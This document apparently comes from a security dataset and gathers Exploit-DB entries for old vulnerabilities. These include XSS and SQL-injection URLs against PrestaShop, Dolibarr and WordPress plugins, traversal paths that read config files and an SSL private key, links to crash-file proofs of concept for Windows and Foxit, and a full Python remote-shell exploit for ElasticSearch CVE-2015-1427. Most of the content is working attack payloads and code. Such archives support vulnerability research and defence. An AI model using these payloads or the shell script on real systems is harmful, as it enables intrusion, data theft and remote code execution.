QLWD/code_shield huggingface dataset:
标题: Microsoft Windows - Text Services Memory Corruption (MS15-020) EDB-ID: 36336 CVE: 2015-0081 类型: DOS 平台: WINDOWS 发布日期: 2015-03-11 漏洞利用脚本: #####################################################################################

Application:   Microsoft Windows Text Services memory corruption.

Platforms:   Windows

Versions:   list.

Microsoft: MS15-020

Secunia:   SA63220

{PRL}:   2015-03

Author:   Francis Provencher (Protek Research Lab’s)

Website:   http://www.protekresearchlab.com/

Twitter:   @ProtekResearch

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC

#####################################################################################

===============
1) Introduction
===============

 

Microsoft Corporation  is an American multinational corporation headquartered in Redmond, Washington, that develops, manufactures, licenses, supports and sells computer software, consumer electronics and personal computers and services. Its best known software products are the Microsoft Windowsline of operating systems, Microsoft Office office suite, and Internet Explorer web browser. Its flagship hardware products are the Xbox game consoles and the Microsoft Surface tablet lineup. It is the world’s largest software maker measured by revenues.[5]It is also one of the world’s most valuable companies.[6]

(http://en.wikipedia.org/wiki/Microsoft)

#####################################################################################

============================
2) Report Timeline
============================

2015-02-08: Francis Provencher from Protek Research Lab’s found the issue;
2015-03-04: MSRC confirmed the issue;
2015-03-10: Microsoft fixed the issue;
2015-03-10: Microsoft release a Patch for this issue.

#####################################################################################

============================
3) Technical details
============================

An unspecified error in Windows Text Services can be exploited to cause memory corruption..

#####################################################################################

===========

4) POC

===========

This file need to be open in wordpad.

http://protekresearchlab.com/exploits/PRL-2015-03.rar
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/36336.rar

###############################################################################
Search for: URL: https://www.exploit-db.com/exploits/36336
标题: PrestaShop 1.4.4.1 - '/modules/mondialrelay/googlemap.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 36342 CVE: 2011-4544 类型: WEBAPPS 平台: PHP 发布日期: 2011-11-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/50784/info
 
PrestaShop is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
 
PrestaShop 1.4.4.1 is vulnerable; other versions may also be affected. 

http://www.example.com/modules/mondialrelay/googlemap.php?relativ_base_dir=>&#039;);alert(&#039;XSS&#039;);
http://www.example.com/modules/mondialrelay/googlemap.php?relativ_base_dir=">&#039;);alert(&#039;XSS&#039;);
http://<app_base>/modules/mondialrelay/googlemap.php?Pays=&#039;);alert(&#039;XSS&#039;); URL: https://www.exploit-db.com/exploits/36342
标题: Foxit Products GIF Conversion - 'DataSubBlock' Memory Corruption EDB-ID: 36335 CVE: 2015-2790 类型: DOS 平台: WINDOWS 发布日期: 2015-03-11 漏洞利用脚本: #####################################################################################

Application:   Foxit Products GIF Conversion Memory Corruption Vulnerabilities (DataSubBlock)

Platforms:   Windows

Versions:   The vulnerability is confirmed in version Foxit Reader 7.x. Other versions may also be affected.

Secunia:   SA63346

{PRL}:   2015-02

Author:   Francis Provencher (Protek Research Lab’s)

Website:   http://www.protekresearchlab.com/

Twitter:   @ProtekResearch

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC

#####################################################################################

===============
1) Introduction
===============

 

Foxit Reader is a multilingual freemium PDF tool that can create, view, edit, digitally sign, and print PDF files.[3] Early versions of Foxit Reader were notable for startup performance and small file size.[citation needed] Foxit has been compared favorably toAdobe Reader.[4][5][6] The Windows version allows annotating and saving unfinished PDF forms, FDF import/export, converting to text, highlighting and drawing.

(http://en.wikipedia.org/wiki/Foxit_Reader)

#####################################################################################

============================
2) Report Timeline
============================

2015-01-22: Francis Provencher from Protek Research Lab’s found the issue;
2015-01-28: Foxit Security Response Team confirmed the issue;
2015-01-28: Foxit fixed the issue;
2015-03-09: Foxit released fixed version of Foxit Reader 7.1/Foxit Enterprise Reader 7.1/Foxit PhantomPDF7.1.

#####################################################################################

============================
3) Technical details
============================

An error when handling the Size member of a GIF DataSubBlock data structure can be exploited to cause memory corruption via a specially crafted GIF file.

#####################################################################################

===========

4) POC

===========

http://protekresearchlab.com/exploits/PRL-2015-02.gif
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/36335.gif

############################################################################### URL: https://www.exploit-db.com/exploits/36335
标题: ElasticSearch - Remote Code Execution EDB-ID: 36337 CVE: 2015-1427 类型: REMOTE 平台: LINUX 发布日期: 2015-03-11 漏洞利用脚本: #!/bin/python2
# coding: utf-8
# Author: Darren Martyn, Xiphos Research Ltd.
# Version: 20150309.1
# Licence: WTFPL - wtfpl.net
import json
import requests
import sys
import readline
readline.parse_and_bind('tab: complete')
readline.parse_and_bind('set editing-mode vi')
__version__ = "20150309.1"

def banner():
    print """\x1b[1;32m
▓█████  ██▓    ▄▄▄        ██████ ▄▄▄█████▓ ██▓ ▄████▄    ██████  ██░ ██ ▓█████  ██▓     ██▓    
▓█   ▀ ▓██▒   ▒████▄    ▒██    ▒ ▓  ██▒ ▓▒▓██▒▒██▀ ▀█  ▒██    ▒ ▓██░ ██▒▓█   ▀ ▓██▒    ▓██▒    
▒███   ▒██░   ▒██  ▀█▄  ░ ▓██▄   ▒ ▓██░ ▒░▒██▒▒▓█    ▄ ░ ▓██▄   ▒██▀▀██░▒███   ▒██░    ▒██░    
▒▓█  ▄ ▒██░   ░██▄▄▄▄██   ▒   ██▒░ ▓██▓ ░ ░██░▒▓▓▄ ▄██▒  ▒   ██▒░▓█ ░██ ▒▓█  ▄ ▒██░    ▒██░    
░▒████▒░██████▒▓█   ▓██▒▒██████▒▒  ▒██▒ ░ ░██░▒ ▓███▀ ░▒██████▒▒░▓█▒░██▓░▒████▒░██████▒░██████▒
░░ ▒░ ░░ ▒░▓  ░▒▒   ▓▒█░▒ ▒▓▒ ▒ ░  ▒ ░░   ░▓  ░ ░▒ ▒  ░▒ ▒▓▒ ▒ ░ ▒ ░░▒░▒░░ ▒░ ░░ ▒░▓  ░░ ▒░▓  ░
 ░ ░  ░░ ░ ▒  ░ ▒   ▒▒ ░░ ░▒  ░ ░    ░     ▒ ░  ░  ▒   ░ ░▒  ░ ░ ▒ ░▒░ ░ ░ ░  ░░ ░ ▒  ░░ ░ ▒  ░
   ░     ░ ░    ░   ▒   ░  ░  ░    ░       ▒ ░░        ░  ░  ░   ░  ░░ ░   ░     ░ ░     ░ ░   
   ░  ░    ░  ░     ░  ░      ░            ░  ░ ░            ░   ░  ░  ░   ░  ░    ░  ░    ░  ░
                                              ░                                                
 Exploit for ElasticSearch , CVE-2015-1427   Version: %s\x1b[0m""" %(__version__)

def execute_command(target, command):
    payload = """{"size":1, "script_fields": {"lupin":{"script": "java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"}}}""" %(command)
    try:
        url = "http://%s:9200/_search?pretty" %(target)
        r = requests.post(url=url, data=payload)
    except Exception, e:
        sys.exit("Exception Hit"+str(e))
    values = json.loads(r.text)
    fuckingjson = values['hits']['hits'][0]['fields']['lupin'][0]
    print fuckingjson.strip()
        

def exploit(target):
    print "{*} Spawning Shell on target... Do note, its only semi-interactive... Use it to drop a better payload or something"
    while True:
        cmd = raw_input("~$ ")
        if cmd == "exit":
            sys.exit("{!} Shell exiting!")
        else:
            execute_command(target=target, command=cmd)
    
def main(args):
    banner()
    if len(args) != 2:
        sys.exit("Use: %s target" %(args[0]))
    exploit(target=args[1])

if __name__ == "__main__":
 main(args=sys.argv) URL: https://www.exploit-db.com/exploits/36337
标题: Foxit Products GIF Conversion - 'LZWMinimumCodeSize' Memory Corruption EDB-ID: 36334 CVE: 2015-2790 类型: DOS 平台: WINDOWS 发布日期: 2015-03-11 漏洞利用脚本: #####################################################################################

Application:   Foxit Products GIF Conversion Memory Corruption Vulnerabilities (LZWMinimumCodeSize)

Platforms:   Windows

Versions:   The vulnerability is confirmed in version Foxit Reader 7.x. Other versions may also be affected.

Secunia:   SA63346

{PRL}:   2015-01

Author:   Francis Provencher (Protek Research Lab’s)

Website:   http://www.protekresearchlab.com/

Twitter:   @ProtekResearch

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC

#####################################################################################

===============
1) Introduction
===============

 

Foxit Reader is a multilingual freemium PDF tool that can create, view, edit, digitally sign, and print PDF files.[3] Early versions of Foxit Reader were notable for startup performance and small file size.[citation needed] Foxit has been compared favorably toAdobe Reader.[4][5][6] The Windows version allows annotating and saving unfinished PDF forms, FDF import/export, converting to text, highlighting and drawing.

(http://en.wikipedia.org/wiki/Foxit_Reader)

#####################################################################################

============================
2) Report Timeline
============================

2015-02-17: Francis Provencher from Protek Research Lab’s found the issue;
2015-02-21: Foxit Security Response Team confirmed the issue;
2015-02-21: Foxit fixed the issue;
2015-03-09: Foxit released fixed version of Foxit Reader 7.1/Foxit Enterprise Reader 7.1/Foxit PhantomPDF7.1.

#####################################################################################

============================
3) Technical details
============================

An error when handling LZWMinimumCodeSize can be exploited to cause memory corruption via a specially crafted GIF file.

#####################################################################################

===========

4) POC

===========

http://protekresearchlab.com/exploits/PRL-2015-01.gif
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/36334.gif


############################################################################### URL: https://www.exploit-db.com/exploits/36334
标题: Dolibarr ERP/CRM 3.1.0 - '/user/index.php' Multiple SQL Injections EDB-ID: 36331 CVE: 2011-4802 类型: WEBAPPS 平台: PHP 发布日期: 2011-11-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/50777/info
 
Dolibarr is prone to multiple cross-site scripting and SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
Dolibarr 3.1.0 RC is vulnerable; prior versions may also be affected. 

http://www.example.com/user/index.php?sall=1%%27%29%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%201,version%28%29, 3,4,5,6,7,8,9,10,11,12,13,14%20--%20
http://www.example.com/user/index.php?begin=search_user=&sall=&&sortfield=SQL_CODE_HERE
http://www.example.com/user/index.php?begin=search_user=&sall=&sortfield=u.login&sortorder=SQL_CO DE_HERE
http://www.example.com/user/group/index.php?begin=search_user=&sall=&&sortfield=SQL_CODE_HERE
http://www.example.com/user/group/index.php?begin=search_user=&sall=&sortfield=u.login&sortorder= SQL_CODE_HERE
http://www.example.com/user/group/index.php?sall=SQL_CODE_HERE URL: https://www.exploit-db.com/exploits/36331
标题: Dolibarr ERP/CRM 3.1 - Multiple Script URI Cross-Site Scripting Vulnerabilities EDB-ID: 36330 CVE: 2011-4814 类型: WEBAPPS 平台: PHP 发布日期: 2011-11-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/50777/info

Dolibarr is prone to multiple cross-site scripting and SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Dolibarr 3.1.0 RC is vulnerable; prior versions may also be affected. 

http://www.example.com/index.php/%22%3E%3Cimg%20src=1%20onerror=javascript:alert%28document.cookie%29%3E
http://www.example.com/admin/boxes.php/%22%3E%3Cimg%20src=1%20onerror=javascript:alert%28document.cookie%29%3 E
http://www.example.com/comm/clients.php/%22%3E%3Cimg%20src=1%20onerror=javascript:alert%28document.cookie%29% 3E
http://www.example.com/commande/index.php/%22%3E%3Cimg%20src=1%20onerror=javascript:alert%28document.cookie%2 9%3E
http://www.example.com/admin/ihm.php?optioncss=%22%3E%3Cimg%20src=1%20onerror=javascript:alert%28document.coo kie%29%3E
http://www.example.com/user/home.php?optioncss=%22%3E%3Cimg%20src=1%20onerror=javascript:alert%28document.coo kie%29%3E

Successful exploitation of this vulnerabilities requires that Apache&#039;s directive "AcceptPathInfo" is set to "on" or "default" (default value is "default") URL: https://www.exploit-db.com/exploits/36330
标题: WordPress Plugin Adminimize 1.7.21 - 'page' Cross-Site Scripting EDB-ID: 36325 CVE: 2011-4926 类型: WEBAPPS 平台: PHP 发布日期: 2011-11-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/50745/info

Adminimize plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Adminimize 1.7.21 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/wp-content/plugins/adminimize/adminimize_page.php?page=[xss] URL: https://www.exploit-db.com/exploits/36325
标题: Dolibarr ERP/CRM 3.1.0 - '/user/info.php?id' SQL Injection EDB-ID: 36332 CVE: 2011-4802 类型: WEBAPPS 平台: PHP 发布日期: 2011-11-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/50777/info
  
Dolibarr is prone to multiple cross-site scripting and SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
  
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
Dolibarr 3.1.0 RC is vulnerable; prior versions may also be affected. 

http://www.example.com/user/info.php?id=1 INTO OUTFILE &#039;../../../tmp/example&#039; URL: https://www.exploit-db.com/exploits/36332
标题: WordPress Plugin Lanoba Social 1.0 - 'action' Cross-Site Scripting EDB-ID: 36326 CVE: 2011-5182 类型: WEBAPPS 平台: PHP 发布日期: 2011-11-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/50746/info

Lanoba Social Plugin for WordPress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Lanoba Social Plugin 1.0 is vulnerable; other versions may also be affected.

UPDATE (Nov 28, 2011): The vendor refutes this issue claiming they are not able to replicate the problem, and all inputs are sanitized. This BID will be updated, and possibly retired pending further information. 

http://www.example.com/[path]/wp-content/plugins/lanoba-social-plugin/index.php?action=[xss] URL: https://www.exploit-db.com/exploits/36326
标题: CodoForum 2.5.1 - Arbitrary File Download EDB-ID: 36320 CVE: 2014-9261 类型: WEBAPPS 平台: PHP 发布日期: 2015-03-10 漏洞利用脚本: # Exploit Title: Codoforum 2.5.1 Arbitrary File Download
# Date: 23-11-2014
# Software Link: https://codoforum.com/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps
# CVE: CVE-2014-9261

1. Description
  
str_replace() is used to sanitize file path but function output is not assigned to variable

private function sanitize($name) {

    str_replace("..", "", $name);
    str_replace("%2e%2e", "", $name);

    return $name;
}

http://security.szurek.pl/codoforum-251-arbitrary-file-download.html

2. Proof of Concept

http://codoforum-url/index.php?u=serve/attachment&path=../../../../../sites/default/config.php
or
http://codoforum-url/index.php?u=serve/smiley&path=../../../../../sites/default/config.php

3. Solution:
  
Use patch:

https://codoforum.com/upgrades/codoforum.v.2.6.up.zip URL: https://www.exploit-db.com/exploits/36320
标题: WordPress Plugin Alert Before Your Post - 'name' Cross-Site Scripting EDB-ID: 36323 CVE: 2011-5107 类型: WEBAPPS 平台: PHP 发布日期: 2011-11-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/50743/info

Alert Before Your Post plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/[path]/wp-content/plugins/alert-before-your-post/trunk/post_alert.php?name=[xss] URL: https://www.exploit-db.com/exploits/36323
标题: Dolibarr ERP/CRM 3.1.0 - '/admin/boxes.php?rowid' SQL Injection EDB-ID: 36333 CVE: 2011-4802 类型: WEBAPPS 平台: PHP 发布日期: 2011-11-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/50777/info
   
Dolibarr is prone to multiple cross-site scripting and SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
   
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
   
Dolibarr 3.1.0 RC is vulnerable; prior versions may also be affected. 

http://www.example.com/admin/boxes.php?action=delete&rowid=SQL_CODE_HERE URL: https://www.exploit-db.com/exploits/36333
标题: WordPress Plugin Advanced Text Widget 2.0 - 'page' Cross-Site Scripting EDB-ID: 36324 CVE: 2011-4618 类型: WEBAPPS 平台: PHP 发布日期: 2011-11-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/50744/info

Advanced Text Widget plugin for WordPress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Advanced Text Widget 2.0.0 is vulnerable; other versions may also be affected.

UPDATE Apr 18, 2012: Further reports indicate the issue reported may not be valid. This BID will be updated as more information emerges. 

http://www.example.com/[path]/wp-content/plugins/advanced-text-widget/advancedtext.php?page=[xss] URL: https://www.exploit-db.com/exploits/36324
标题: Jetty Web Server - Directory Traversal EDB-ID: 36318 CVE: 2009-1523 类型: REMOTE 平台: WINDOWS 发布日期: 2011-11-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/50723/info

Jetty Web Server is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue will allow an attacker to view arbitrary files within the context of the webserver. Information harvested may aid in launching further attacks. 

http://www.example.com:9084/vci/downloads/.\..\..\..\..\..\..\..\Documents and Settings\All Users\Application Data\VMware\VMware VirtualCenter\SSL\rui.key URL: https://www.exploit-db.com/exploits/36318
标题: WordPress Plugin Flexible Custom Post Type - 'id' Cross-Site Scripting EDB-ID: 36317 CVE: 2011-5106 类型: WEBAPPS 平台: PHP 发布日期: 2011-11-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/50719/info

Flexible Custom Post Type plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/[path]/wp-content/plugins/flexible-custom-post-type/edit-post.php?id=[xss] URL: https://www.exploit-db.com/exploits/36317
标题: ZOHO ManageEngine ADSelfService Plus 4.5 Build 4521 - Cross-Site Scripting EDB-ID: 36316 CVE: 2011-5105 类型: WEBAPPS 平台: PHP 发布日期: 2011-11-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/50717/info

ZOHO ManageEngine ADSelfService Plus is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

ManageEngine ADSelfService Plus 4.5 Build 4521 is vulnerable; other versions may also be affected. 

Proof of Concept
===================
Double-Quote String Termination
HTTP Request =
https://serverip:port/EmployeeSearch.cc?searchType=contains&searchBy=ALL_FIELDS&searchString=";alert("XSS");//\"

Response Source View
<script language="javascript">
var searchValue = "';alert(XSS)//\"";


Single-Quote String Termination
Similarly...
HTTP Request
https://serverip:port/EmployeeSearch.cc?searchType=';document.location="http://www.cnn.com";//\"&searchBy=ALL_FIELDS&searchString=BoB URL: https://www.exploit-db.com/exploits/36316
标题: Linux Kernel (x86-64) - Rowhammer Privilege Escalation EDB-ID: 36310 CVE: 2015-0565 类型: LOCAL 平台: LINUX_X86-64 发布日期: 2015-03-09 漏洞利用脚本: Sources:
http://googleprojectzero.blogspot.ca/2015/03/exploiting-dram-rowhammer-bug-to-gain.html
https://code.google.com/p/google-security-research/issues/detail?id=283

Full PoC: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/36310.tar.gz

This is a proof-of-concept exploit that is able to gain kernel
privileges on machines that are susceptible to the DRAM "rowhammer"
problem.  It runs as an unprivileged userland process on x86-64 Linux.
It works by inducing bit flips in page table entries (PTEs).

For development purposes, the exploit program has a test mode in which
it induces a bit flip by writing to /dev/mem.  qemu_runner.py will run
the exploit program in test mode in a QEMU VM.  It assumes that
"bzImage" (in the current directory) is a Linux kernel image that was
built with /dev/mem enabled (specifically, with the the
CONFIG_STRICT_DEVMEM option disabled).

Mark Seaborn
mseaborn@chromium.org
March 2015 URL: https://www.exploit-db.com/exploits/36310